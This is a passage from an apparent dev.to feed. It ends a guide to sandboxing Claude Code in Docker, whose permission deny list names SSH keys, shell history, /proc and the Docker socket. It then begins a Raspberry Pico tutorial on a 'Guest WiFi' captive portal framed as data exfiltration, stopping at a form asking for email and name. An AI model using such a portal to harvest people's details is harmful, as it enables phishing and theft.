      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.zshrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.bashrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.zshrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.bash_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.zsh_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.bash_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.zsh_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.ssh/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.ssh/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/proc/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/proc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(/proc/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(/proc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/*.sock)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/*.sock)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/run/docker.sock)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/var/run/docker.sock)"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Building the Container
&lt;/h3&gt;

&lt;p&gt;Build the container with the following command. A random password will be created for the default user &lt;code&gt;node&lt;/code&gt; in order to prevent unobserved privilege escalation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; docker build &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--build-arg&lt;/span&gt; &lt;span class="nv"&gt;SUDO_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nv"&gt;LC_CTYPE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;C &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="nt"&gt;-cd&lt;/span&gt; &lt;span class="s1"&gt;'[:alnum:]'&lt;/span&gt; &amp;lt;/dev/urandom | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 10&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tag&lt;/span&gt; claude-code-local:2.1.91 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Take a good look at the build log, it reveals the generated password. Note it down.&lt;/p&gt;

&lt;h2&gt;
  
  
  Docker Container Usage
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Starting the Container
&lt;/h3&gt;

&lt;p&gt;When the Docker image is built, you can start it with the preferred mount directory as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,src&lt;span class="o"&gt;=&lt;/span&gt;./,dst&lt;span class="o"&gt;=&lt;/span&gt;/opt/claude &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--detach&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; claude-code-local &lt;span class="se"&gt;\&lt;/span&gt;
  claude-code-local:2.1.91
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claude code persists session, memory, and global settings in the local &lt;code&gt;~/.claude&lt;/code&gt; directory. If you wish to keep these settings, you need to create and mount this directory to the container.&lt;/p&gt;

&lt;p&gt;In a local terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; ~/.claude/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, start the container with the additional mount. If you have the container still running, you need to stop it first with &lt;code&gt;docker stop claude-code-local&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,src&lt;span class="o"&gt;=&lt;/span&gt;./,dst&lt;span class="o"&gt;=&lt;/span&gt;/opt/claude &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,src&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;HOME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/.claude"&lt;/span&gt;,dst&lt;span class="o"&gt;=&lt;/span&gt;/home/node/.claude &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--detach&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; claude-code-local &lt;span class="se"&gt;\&lt;/span&gt;
  claude-code-local:2.1.91
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Starting a Claude Code session
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Model Configuration
&lt;/h3&gt;

&lt;p&gt;During the first startup of the container, you need to authenticate with an LLM provider. In addition to using an Anthropic account, LLM routers such as &lt;a href="https://openrouter.ai/" rel="noopener noreferrer"&gt;openrouter&lt;/a&gt; or &lt;a href="https://docs.litellm.ai/" rel="noopener noreferrer"&gt;litellm&lt;/a&gt; can be used to gain access to any LLM provider, including Azure, Google, Ollama, and others.&lt;/p&gt;

&lt;p&gt;You can also use your GitHub Co-Pilot subscription - which is shown here. Run the following command to exec into the container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; claude-code-local bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, install and run the helper library &lt;a&gt;copilot-api&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx copilot-api@latest start &lt;span class="nt"&gt;--proxy-env&lt;/span&gt;
Need to &lt;span class="nb"&gt;install &lt;/span&gt;the following packages:
copilot-api@0.7.0
Ok to proceed? &lt;span class="o"&gt;(&lt;/span&gt;y&lt;span class="o"&gt;)&lt;/span&gt; y
ℹ Using VSCode version: 1.113.0
ℹ Not logged &lt;span class="k"&gt;in&lt;/span&gt;, getting new access token
ℹ Please enter the code &lt;span class="s2"&gt;"9A4A-9DB1"&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;https://github.com/login/device
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the link, login with your GitHub credentials, and paste the OTP code. Shortly afterwards, you should see which LLM models are selectable for your session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Available models:
- claude-opus-4.6-fast
- claude-opus-4.6
- claude-sonnet-4.6
- gemini-3.1-pro-preview
- goldeneye-free-auto
- gpt-5.2-codex
- gpt-5.4
- raptor-mini-tertiary
- gpt-5-mini
- gpt-4o-mini-2024-07-18
- gpt-4o-2024-11-20
- gpt-4o-2024-08-06
- grok-code-fast-1
- text-embedding-3-small
- text-embedding-3-small-inference
- claude-haiku-4.5
- gpt-4.1-2025-04-14
- oswe-vscode-prime
- oswe-vscode-secondary
- gpt-41-copilot
- gpt-3.5-turbo-0613
- gpt-4
- gpt-4-0613
- gpt-4-0125-preview
- gpt-4o-2024-05-13
- gpt-4-o-preview
- gpt-4.1
- gpt-3.5-turbo
- gpt-4o-mini
- gpt-4
- gpt-4o
- gpt-4-o-preview
- text-embedding-ada-002

➜ Listening on: http://localhost:4141/ &lt;span class="o"&gt;(&lt;/span&gt;all interfaces&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, create &lt;code&gt;~/.claude/settings.json&lt;/code&gt; and paste the following content. Be sure to set a model mapping to your liking. Anthropics distinction into Haiku, Sonnet, and Opus needs to be mapped to available GitHub Co-Pilot models.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"env"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_BASE_URL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:4141"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_AUTH_TOKEN"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"not-required"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_DEFAULT_OPUS_MODEL "&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-opus-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_DEFAULT_SONNET_MODEL "&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-sonnet-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_DEFAULT_HAIKU_MODEL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-haiku-4.5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Session Start
&lt;/h3&gt;

&lt;p&gt;And finally, you can start a Claude code session. Exec into the Docker container, which automatically jumps to the defined directory &lt;code&gt;/opt/claude&lt;/code&gt; with your mounted project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claude
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The opening dialog starts ...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkf6wcnfzid9eh560uos.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkf6wcnfzid9eh560uos.png" width="482" height="581"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And once confirmed, you can start your session.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft9vqse9vuanpins8hmj8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft9vqse9vuanpins8hmj8.png" width="800" height="257"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Claude Code is one of the most prominent agentic tools for code generation. This article starts a new series to systematically explore its CLI tools, slash commands, and use-cases. You learned how to setup a Claude Code in a Docker container, which provides a sandboxed environment into which you mount specific local directories. You saw the Dockerfile, a managed settings permission files that restricts access to sensitive data and environments, and learned the commands to build, start, and use the Docker container. From the many options of LLM providers, GitHub CoPilot was chosen. The next article continues with the exploration of its CLI commands.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>ai</category>
    </item>
    <item>
      <title>Hacking with Raspberry Pico: Data Exfiltration with a Captive Portal</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 28 May 2026 04:46:34 +0000</pubDate>
      <link>https://dev.to/admantium/hacking-with-raspberry-pico-data-exfiltration-with-a-captive-portal-g8d</link>
      <guid>https://dev.to/admantium/hacking-with-raspberry-pico-data-exfiltration-with-a-captive-portal-g8d</guid>
      <description>&lt;p&gt;The Raspberry Pico microcontroller is a stunning device that can be employed in several application areas, from reading sensor data, drawing pixels on a screen, and consuming APIs. Its small form factor, enough hardware power, and programmable behavior contribute equally. But did you know that the Pico can be used for hacking as well?&lt;/p&gt;

&lt;p&gt;This article shows how to create a captive portal that runs on a Raspberry Pico W. A captive portal is an informal way with which client devices connect to local WiFi with the intention to gain full access to the internet. Since clients connect unsolicited to these portals, and because the user provides some amount of personal information, several exploits can be engineered. Creating a captive portal is surprisingly easy with the right software and the knowledge which clients require which URLs. You will learn both aspects in this article.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;MicroPython v1.23.0&lt;/code&gt; and the webserver/webpage templating library &lt;code&gt;phew v0.0.3&lt;/code&gt;. The examples should work with newer versions too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The initial idea for this topic was sparked by an excellent article in the German computer magazine CT 2023/27 titled "Raspberry Hacking: Phishing Hotspot". The article itself cannot be accessed, but its &lt;a href="https://www.heise.de/select/ct/2023/27/softlinks/y95e" rel="noopener noreferrer"&gt;link collection&lt;/a&gt; is available on the public internet.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro27_rasperry_pico_captive_portal/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Required Hardware
&lt;/h2&gt;

&lt;p&gt;As with several other microcontroller projects, the required bill of materials is short and concise:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Raspberry Pico W (model 1 and 2)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is a Captive Portal?
&lt;/h2&gt;

&lt;p&gt;A captive portal is a WiFi hotspot to which client devices connect autonomously. Typically, you encounter these portals in public spaces, cafes or hotels. For a not registered device, HTTP redirects and DNS redirects force the device to open the portal landing page. This page typically shows branded information and advertisement, and a form asking for personal details and agreement to the service usage. Once accepted, the portal puts the clients MAC address into an allowlist, and full internet access is granted.&lt;/p&gt;

&lt;p&gt;In this process, several exploits can be placed.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Device sniffing: The captive portal opens a device specific workflow, and some devices may make hotspot requests unsolicited. This can be used to passively grab device metadata.&lt;/li&gt;
&lt;li&gt;Information dissemination: The portals landing page is shown to the client without restrictions, it can provide unsolicited information.&lt;/li&gt;
&lt;li&gt;Information stealing: A branded website fake might induce users to provide personal information.&lt;/li&gt;
&lt;li&gt;Man in the Middle: The portal controls HTTP requests. The ruleset of HTTP and DNS redirects that are enforced on new clients can be used for traffic shaping and interception.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  MicroPython and Library Setup
&lt;/h2&gt;

&lt;p&gt;To program the portal, the Pico needs to be flashed with MicroPython and include an external library. The concrete steps are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download the &lt;a href="https://micropython.org/download/RPI_PICO_W/" rel="noopener noreferrer"&gt;latest MicroPython distribution&lt;/a&gt; for the Raspberry Pico W&lt;/li&gt;
&lt;li&gt;Connect the Pico to your computer, hold down the bootsel button, and put the Pico into USB mode&lt;/li&gt;
&lt;li&gt;Drag and drop the MicroPython UF2 image to the Pico&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Pico reboots itself. Then, open the &lt;a href="https://thonny.org/" rel="noopener noreferrer"&gt;Thonny IDE&lt;/a&gt;, configure the interpreter to "MicroPython (Raspberry Pi Pico)", and select your connected board. Using Thonny's file explorer, you can add the required library.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go to the &lt;a href="https://github.com/pimoroni/phew" rel="noopener noreferrer"&gt;phew library GitHub project&lt;/a&gt;, and either download the latest release or the projects current code base from the main branch&lt;/li&gt;
&lt;li&gt;Create the folder &lt;code&gt;lib&lt;/code&gt;, and then copy the phew source code into this directory&lt;/li&gt;
&lt;li&gt;Create an empty file called &lt;code&gt;__init__.py&lt;/code&gt; inside the &lt;code&gt;lib&lt;/code&gt; folder&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The resulting file structure should look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftnw3dte32ji6uzcnbsjp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftnw3dte32ji6uzcnbsjp.png" width="307" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Programming the Captive Portal
&lt;/h2&gt;

&lt;p&gt;Similar to the well-known framework &lt;a href="https://flask.palletsprojects.com/en/3.0.x/quickstart/#a-minimal-application" rel="noopener noreferrer"&gt;Flask&lt;/a&gt;, phew simplifies web application development. With just a few lines of code, combining annotations and plain Python functions, handlers for specific HTTP requests can be created. While this blog article is not an exploration of this framework itself, it will cover most of its functions nevertheless, but geared towards creating a captive portal.&lt;/p&gt;

&lt;p&gt;The following code starts a local access point and a webserver that responds to the default route &lt;code&gt;/&lt;/code&gt; with a text message. All other requests will be responded with the status code &lt;code&gt;404&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;access_point&lt;/span&gt;

&lt;span class="n"&gt;SSID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest WiFi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_portal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hello from Raspberry Pico&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text/html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.catchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;catchall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;starting ...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;access_point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SSID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ifconfig&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;access point ip: #&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To run this code, you can create a &lt;code&gt;main.py&lt;/code&gt; file in the projects root directory with this code as its content, or just click on the Run button. Once the script is started, the local endpoint becomes available. Connect to it, then open &lt;code&gt;http://192.168.4.1&lt;/code&gt; in your browser.&lt;/p&gt;

&lt;p&gt;The Thonny terminal prints a simplified access log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;starting ...
access point ip: &lt;span class="c"&gt;#192.168.4.1&lt;/span&gt;
2024-09-29 15:07:56 &lt;span class="o"&gt;[&lt;/span&gt;info     / 162kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; starting web server on port 80
2024-09-29 15:08:58 &lt;span class="o"&gt;[&lt;/span&gt;info     / 153kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET / &lt;span class="o"&gt;(&lt;/span&gt;200 OK&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;284ms]
2024-09-29 15:08:58 &lt;span class="o"&gt;[&lt;/span&gt;info     / 162kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET /favicon.ico &lt;span class="o"&gt;(&lt;/span&gt;404 Not Found&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;29ms]
2024-09-29 15:09:42 &lt;span class="o"&gt;[&lt;/span&gt;info     / 155kB] &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET /menu.html &lt;span class="o"&gt;(&lt;/span&gt;404 Not Found&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;278ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Rendering a Web Page
&lt;/h2&gt;

&lt;p&gt;Phew also supports templated web pages. Let’s use this feature to show a web page with a form asking for the users e-mail address and name.&lt;/p&gt;

&lt;p&gt;In the Pico’s filesystem, create the file &lt;code&gt;www/index.html&lt;/code&gt; with this content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
